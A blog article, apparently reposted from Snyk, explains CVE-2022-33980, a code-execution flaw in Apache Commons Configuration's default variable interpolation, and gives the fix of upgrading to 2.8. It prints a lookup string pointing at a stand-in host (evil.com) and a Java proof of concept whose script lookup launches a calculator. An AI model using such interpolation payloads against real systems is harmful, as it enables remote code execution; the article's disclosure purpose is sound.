Friends of OpenJDK Today

Exploring CVE-2022-33980: The Apache Commons Configuration RCE Vulnerability

August 18, 2022

Author(s)

  • Brian Vermeer

    Java Champions & Developer Advocate and Software Engineer for Snyk. Passionate about Java, (Pure) Functional Programming, and Cybersecurity. Co-leading the Virtual JUG, NLJUG and DevSecCon community. Brian is also an ... Learn more

This article was originally posted on Snyk.io and is co-written by Kyle Suero and Brian Vermeer

Before we dive into the details of this vulnerability, we want to make it clear that there’s no need for panic.

Many systems permit the use of various types of code in configuration files, and there are legitimate use cases to include string and variable interpolation in the configuration of applications and systems.

This is not Log4Shell all over again.

This is a simple configuration manipulation.

If someone can change your configuration with ease, or the dynamic resources it may be pointing to, odds are you have bigger fish to fry.

Apache Commons configuration flaw

It is possible to perform Arbitrary Code Execution in Apache Commons configuration files (present in versions 2.4 through 2.7) using the default variable interpolation functionality. Specifically stemming from the interpolate function in the ConfigurationInterpolator class. 

In a normal scenario, the interpolate function receives an object value that contains variables, which are then substituted if they can be resolved. This results in a passed-in value with the variables replaced — which can be useful when there are version differences in the development and production environments. In short, the interpolation function allows the configuration parameters to be evaluated dynamically. There are many legitimate reasons to do this.

However, if these lookups are performed by an attacker-controlled configuration file, it can cause a lot of damage. For example, ${url:UTF-8:https://www.evil.com} uses the URL prefix, which could be used to load remote files and values for the configuration. If someone were to obtain control of the designated URL via an attack (such as subdomain takeover), then they could potentially leverage arbitrary code execution on application servers. This could then lead to pivoting throughout the network, resulting in further compromise.

In addition to the URL lookup prefix, there are other lookup prefixes enabled by default for resolving DNS records and executing scripts. In the case of attacker-controlled configuration, this could be devastating.

It is important to maintain proper configuration sanitization and remain diligent when it comes to dynamic values. Although a URL may belong to your organization today, when the domain lease expires, an adversary could compromise dynamic configurations by obtaining said domain and hosting malicious material on the once legitimate URL.

Apache Commons configuration proof of concept

From Java 8 up to Java 15, the Nashorn script engine was by default provided in Java. This means that without any extra effort we can execute scripts. Nashorn provides different types of engines to use and execute. The following examples are JavaScript and Nashorn, which allows you to execute some Java code.

In the example below, I use the interpolate() function to execute such scripts. As a result, the JavaScript code 5 + 4 executes to 9, and the Java code with the nashorn executes the ProcessBuilder that starts up my calculator on Mac.

public static void main(String[] args) {
    InterpolatorSpecification ips = new InterpolatorSpecification.Builder()
        .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
        .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().valueš())
           .create();
 
   ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(ips);
   System.out.println(interpolator.interpolate("${script:javascript: 5 + 4}\n"));
   System.out.println(interpolator.interpolate("${script:nashorn: new 
javâ.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"));
}

Editor’s note: To test the above code, you’ll need to replace the “a” in “java” and “s” in “values”.

The latter example displays how a serious arbitrary code execution vulnerability can result from a user influencing the input of the interpolate() function.

While spinning up a calculator is not particularly interesting, the same technique can be applied to execute a reverse shell attack or even worse.

Note that Nashorn is no longer available by default in Java 15 and later versions.

So, these scripts will only be executed if you provide a script engine yourself.

However, because many enterprises still depend on older versions like Java 8, this can be a serious problem.

This is a perfect example of why you should consider running the most updated Java version, like Java 17 (the latest LTS version).

Fixing Apache Commons configuration

This issue should be resolved in version 2.8 and onwards, since the latest release disables the prefixes URL, DNS, and script by default in the latest release.

Other kinds of lookups require changing system properties to permit their behavior.

Restricting the default set of potential lookup prefixes greatly reduces the impact of maliciously controlled configuration files.

Scanning with Snyk can help determine if this vulnerability is present in your stack.

If detected, update to version 2.8 and run snyk monitor in the CLI to continue monitoring in production.

Related Articles

View All
  • Log4Shell: Critical Log4j RCE Vulnerabilty – Update to Version 2.15.0

    On Dec.10, 2021, a new, critical Log4j vulnerability was disclosed: Log4Shell. This vulnerability within the popular Java logging framework was published as CVE-2021-44228 and categorized as Critical with a CVSS score of 10, which is the highest score possible. The vulnerability was discovered by Chen Zhaojun …

    Read More
    December 13, 2021
  • Minimizing Security Risks in Java Application Development

    United by their passion for open source, Payara and IBM recently teamed up for a panel discussion on security in Java application development.

    Security is something that is considered extremely important, however, it is not always something that is a priority for many development teams. The main question is—how to minimize security risks while developing Java applications.

    In this panel discussion, our experts addressed a variety of topics related to secure application development. Most of the topics were introduced by questions from the audience.

    Read More
    December 08, 2020
  • New Java 17 Features for Improved Security and Serialization

    In December 2020, I wrote the article Serialization and deserialization in Java: explaining the Java deserialize vulnerability about the problems Java has with its custom serialization implementation. The serialization framework is so deeply embedded inside Java that knowing how dangerous some implementation …

    Read More
    December 02, 2021

Author(s)

  • Brian Vermeer

    Java Champions & Developer Advocate and Software Engineer for Snyk. Passionate about Java, (Pure) Functional Programming, and Cybersecurity. Co-leading the Virtual JUG, NLJUG and DevSecCon community. Brian is also an ... Learn more

Comments (0)

Your email address will not be published. Required fields are marked *

Highlight your code snippets using [code lang="language name"] shortcode. Just insert your code between opening and closing tag: [code lang="java"] code [/code]. Or specify another language.

Save my name, email, and website in this browser for the next time I comment.

Subscribe to foojay updates:

https://foojay.io/feed/
Copied to the clipboard